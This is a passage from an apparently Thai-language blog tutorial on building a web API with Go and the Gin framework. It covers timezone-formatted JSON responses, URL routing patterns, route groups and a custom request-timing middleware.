JSON &#xE01;&#xE25;&#xE31;&#xE1A; &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Timezone &#xE40;&#xE1B;&#xE47;&#xE19; &quot;Asia/Bangkok&quot; &#xE41;&#xE25;&#xE30;&#xE41;&#xE1B;&#xE25;&#xE07; Format &#xE40;&#xE1B;&#xE47;&#xE19; time.RFC3339 &#xE01;&#xE48;&#xE2D;&#xE19;</p><pre><code>package main

import (
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

type Order struct {
	OrderID           string `json:&quot;orderid&quot;`
	CreatedAt         string `json:&quot;created_at&quot;`         // &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; string
	EstimatedDelivery string `json:&quot;estimated_delivery&quot;` // &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; string
	DeliveryDays      int    `json:&quot;-&quot;`                  // &#xE44;&#xE21;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE43;&#xE19; JSON output
}

func CalculateEstimatedDelivery(createdAt time.Time, deliveryDays int) time.Time {
	return createdAt.AddDate(0, 0, deliveryDays)
}

func getOrderHandler(c *gin.Context) {
	orderID := c.Param(&quot;order_id&quot;)

	// &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Order &#xE08;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
	// &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;
	createdAt := time.Now().UTC()
	order := Order{
		OrderID:      orderID,
		DeliveryDays: 3, // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2A;&#xE48;&#xE07; 3 &#xE27;&#xE31;&#xE19;
	}

	// &#xE04;&#xE33;&#xE19;&#xE27;&#xE13; Estimated Delivery &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; UTC
	estimatedDelivery := CalculateEstimatedDelivery(createdAt, order.DeliveryDays)

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; timezone &#xE40;&#xE1B;&#xE47;&#xE19; Asia/Bangkok
	userLocation, err := time.LoadLocation(&quot;Asia/Bangkok&quot;)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{&quot;error&quot;: &quot;Unable to load timezone&quot;})
		return
	}

	// &#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Asia/Bangkok timezone &#xE41;&#xE25;&#xE30; format &#xE40;&#xE1B;&#xE47;&#xE19; RFC3339
	order.CreatedAt = createdAt.In(userLocation).Format(time.RFC3339)
	order.EstimatedDelivery = estimatedDelivery.In(userLocation).Format(time.RFC3339)

	c.JSON(http.StatusOK, order)
}

func main() {
	r := gin.Default()
	r.GET(&quot;/orders/:order_id&quot;, getOrderHandler)

	log.Println(&quot;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE2D;&#xE23;&#xE4C;&#xE15; 8080...&quot;)

	if err := r.Run(&quot;:8080&quot;); err != nil {
		log.Fatalf(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE40;&#xE0B;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;: %v\n&quot;, err)
	}
}
</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE14;&#xE49;&#xE27;&#xE22; Postman &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Method <strong><strong>GET</strong></strong> &#xE01;&#xE31;&#xE1A; URL <a href="http://localhost:8080/orders/123?ref=blog.pjjop.org">http://localhost:8080/orders/123</a> &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Order &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; JSON Format</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/Screenshot-2567-09-19-at-06.41.30.png" class="kg-image" alt loading="lazy" width="2000" height="1320" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/Screenshot-2567-09-19-at-06.41.30.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/Screenshot-2567-09-19-at-06.41.30.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/Screenshot-2567-09-19-at-06.41.30.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/Screenshot-2567-09-19-at-06.41.30.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>Routing</strong></p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Routing &#xE21;&#xE32;&#xE41;&#xE25;&#xE49;&#xE27; &#xE42;&#xE14;&#xE22; Routing &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE25;&#xE44;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; Application &#xE04;&#xE27;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE2A;&#xE19;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE15;&#xE48;&#xE2D; HTTP Request &#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; API &#xE40;&#xE2A;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38; &#xE14;&#xE49;&#xE27;&#xE22; HTTP Method &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Route &#xE02;&#xE2D;&#xE07; orders Service</p><pre><code>r.POST(&quot;/orders&quot;, createOrder)
r.GET(&quot;/orders&quot;, listOrders)
r.GET(&quot;/orders/:id&quot;, getOrder)
r.PUT(&quot;/orders/:id&quot;, updateOrder)</code></pre><p>Route &#xE21;&#xE35;&#xE2D;&#xE07;&#xE04;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A; 3 &#xE2A;&#xE48;&#xE27;&#xE19; &#xE04;&#xE37;&#xE2D; <strong>HTTP Method</strong>, <strong>URL Pattern</strong> &#xE41;&#xE25;&#xE30; <strong>Handler Function </strong>&#xE42;&#xE14;&#xE22; URL Pattern &#xE04;&#xE37;&#xE2D; &#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; URL &#xE43;&#xE14;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A; Handler Function &#xE43;&#xE14;</p><p>&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; URL Pattern &#xE40;&#xE0A;&#xE48;&#xE19;</p><p>Static Route</p><pre><code>/orders</code></pre><p>Path Parameter</p><pre><code>/orders/:id 

&#xE43;&#xE0A;&#xE49; &apos;:&apos; &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D; Parameter
&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; URL /orders/123</code></pre><p>Catch-all Parameter</p><pre><code> /files/*filepath
 
&#xE43;&#xE0A;&#xE49; &apos;*&apos; &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D; Parameter
&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07; /files/ &#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2B;&#xE23;&#xE37;&#xE2D; sub-paths &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE41;&#xE19;&#xE48;&#xE19;&#xE2D;&#xE19;
&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; URL /files/images/photo.jpg
&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; filepath &#xE08;&#xE30;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; images/photo.jpg</code></pre><p>Multiple Path Parameter</p><pre><code>/orders/:orderId/items/:itemId

&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; URL /orders/1234/items/5678</code></pre><p>Query Parameter</p><pre><code>/orders?param1=value1&amp;param2=value2

&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; URL /orders?status=pending&amp;page=1
&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Filter, Sort, &#xE2B;&#xE23;&#xE37;&#xE2D; Paginate &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE0A;&#xE23;&#xE4C; URL &#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; URL

&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32; c.Query(&quot;param1&quot;)</code></pre><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; Route &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE21;&#xE35; URL Prefix &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; (&#xE40;&#xE0A;&#xE48;&#xE19; &#xE21;&#xE35; <strong>/api/v1</strong> &#xE2D;&#xE22;&#xE39;&#xE48;&#xE14;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49; Middleware &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19; &#xE43;&#xE19; Gin Framework &#xE44;&#xE14;&#xE49;</p><pre><code>orders := r.Group(&quot;/api/v1&quot;, AuthMiddleware())
{
	orders.POST(&quot;/orders&quot;, createOrder)
	orders.GET(&quot;/orders&quot;, listOrders)
	orders.GET(&quot;/orders/:id&quot;, getOrder)
	orders.PUT(&quot;/orders/:id&quot;, updateOrder)
}</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Group &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Route &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; &quot;<strong>/api/v1</strong>&quot; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49; Middleware &quot;<strong>AuthMiddleware()</strong>&quot;</p><p><strong>Middleware</strong></p><p>Middleware &#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Request &#xE41;&#xE25;&#xE30; Response &#xE43;&#xE19; Application &#xE21;&#xE31;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; &quot;&#xE04;&#xE19;&#xE01;&#xE25;&#xE32;&#xE07;&quot; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; &#xE41;&#xE01;&#xE49;&#xE44;&#xE02; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE01;&#xE31;&#xE1A; <strong>Request</strong> &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Response</strong> &#xE44;&#xE14;&#xE49;</p><p>&#xE25;&#xE2D;&#xE07;&#xE19;&#xE36;&#xE01;&#xE16;&#xE36;&#xE07; Middleware &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE14;&#xE48;&#xE32;&#xE19;&#xE15;&#xE23;&#xE27;&#xE08;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE43;&#xE19;&#xE2A;&#xE19;&#xE32;&#xE21;&#xE1A;&#xE34;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19;</p><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE31;&#xE4B;&#xE27; (Authentication)</li><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE23;&#xE30;&#xE40;&#xE1B;&#xE4B;&#xE32; (Validation)</li><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; (Security Check &#xE40;&#xE0A;&#xE48;&#xE19; CORS Check, IP Whitelist/Blacklist &#xE41;&#xE25;&#xE30; JWT Authentication)</li><li>&#xE1B;&#xE23;&#xE30;&#xE17;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE40;&#xE14;&#xE34;&#xE19;&#xE17;&#xE32;&#xE07; (Logging)</li></ul><p>&#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE14;&#xE48;&#xE32;&#xE19;&#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE17;&#xE38;&#xE01;&#xE14;&#xE48;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; (&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Handler Function)</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; route &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; gin.Default() &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE21;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; Middleware &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><ul><li><strong>Logger Middleware</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; (Access Log) &#xE40;&#xE0A;&#xE48;&#xE19; &#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; API, HTTP Status Code &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A; &#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request, IP Address &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; HTTP Method &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; &#xE41;&#xE25;&#xE30; URL Path &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; </li></ul><pre><code>[GIN] 2024/03/03 - 12:34:56 | 200 |     123.456ms |    127.0.0.1 | GET      &quot;/orders/123&quot;</code></pre><ul><li><strong>Recovery middleware</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE39;&#xE49;&#xE04;&#xE37;&#xE19;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Panic &#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE48;&#xE21;&#xE02;&#xE2D;&#xE07; Application</li></ul><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Middleware &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49;&#xE15;&#xE32;&#xE21;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>func SimpleMiddleware() gin.HandlerFunc {

}</code></pre><p>SimpleMiddleware &#xE04;&#xE37;&#xE2D; &#xE0A;&#xE37;&#xE48;&#xE2D; Function &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>Type &#xE41;&#xE1A;&#xE1A; Function</strong> &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &quot;Gin&quot; &#xE17;&#xE35;&#xE48;&#xE0A;&#xE37;&#xE48;&#xE2D;<strong> gin.HandlerFunc</strong></p><figure class="kg-card kg-code-card"><pre><code>return func(c *gin.Context) {
   // ... &#xE42;&#xE04;&#xE49;&#xE14;&#xE02;&#xE49;&#xE32;&#xE07;&#xE43;&#xE19; ...
}</code></pre><figcaption>&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Function &#xE17;&#xE35;&#xE48; Return</figcaption></figure><p><strong>&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; r.Use() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Middleware &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Route</strong></p><pre><code>package main

import (
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

// Middleware &#xE17;&#xE35;&#xE48;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request
func SimpleMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {

		log.Println(&quot;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request&quot;)

		startTime := time.Now()

		// &#xE2A;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; helloHandler()
		c.Next()

		// &#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request &#xE43;&#xE19; helloHandler()
		endTime := time.Now()
		log.Println(&quot;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request, &#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; &quot;, endTime.Sub(startTime))
	}
}

func helloHandler(c *gin.Context) {
	c.JSON(http.StatusOK, gin.H{
		&quot;message&quot;: &quot;Hello, World!&quot;,
	})
}

func main() {
	r := gin.Default()

	// &#xE43;&#xE0A;&#xE49; Middleware &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;
	r.Use(SimpleMiddleware())

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Route
	r.GET(&quot;/hello&quot;, helloHandler)

	r.Run(&quot;:8080&quot;)
}
</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35; Request &#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; &quot;/hello&quot; &#xE08;&#xE30;&#xE21;&#xE35;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>SimpleMiddleware &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request&quot; &#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE08;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;</li><li>Handler &#xE02;&#xE2D;&#xE07; &quot;/hello&quot; &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE2A;&#xE48;&#xE07; JSON Response &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Client</li><li>SimpleMiddleware &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request, &#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; ...&quot;</li><li>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE23;&#xE34;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Client &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE17;&#xE38;&#xE01; Middleware &#xE41;&#xE25;&#xE30; Handler &#xE43;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE19;&#xE31;&#xE49;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ol><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-17-at-7.58.07-AM.png" class="kg-image" alt loading="lazy" width="1628" height="934" 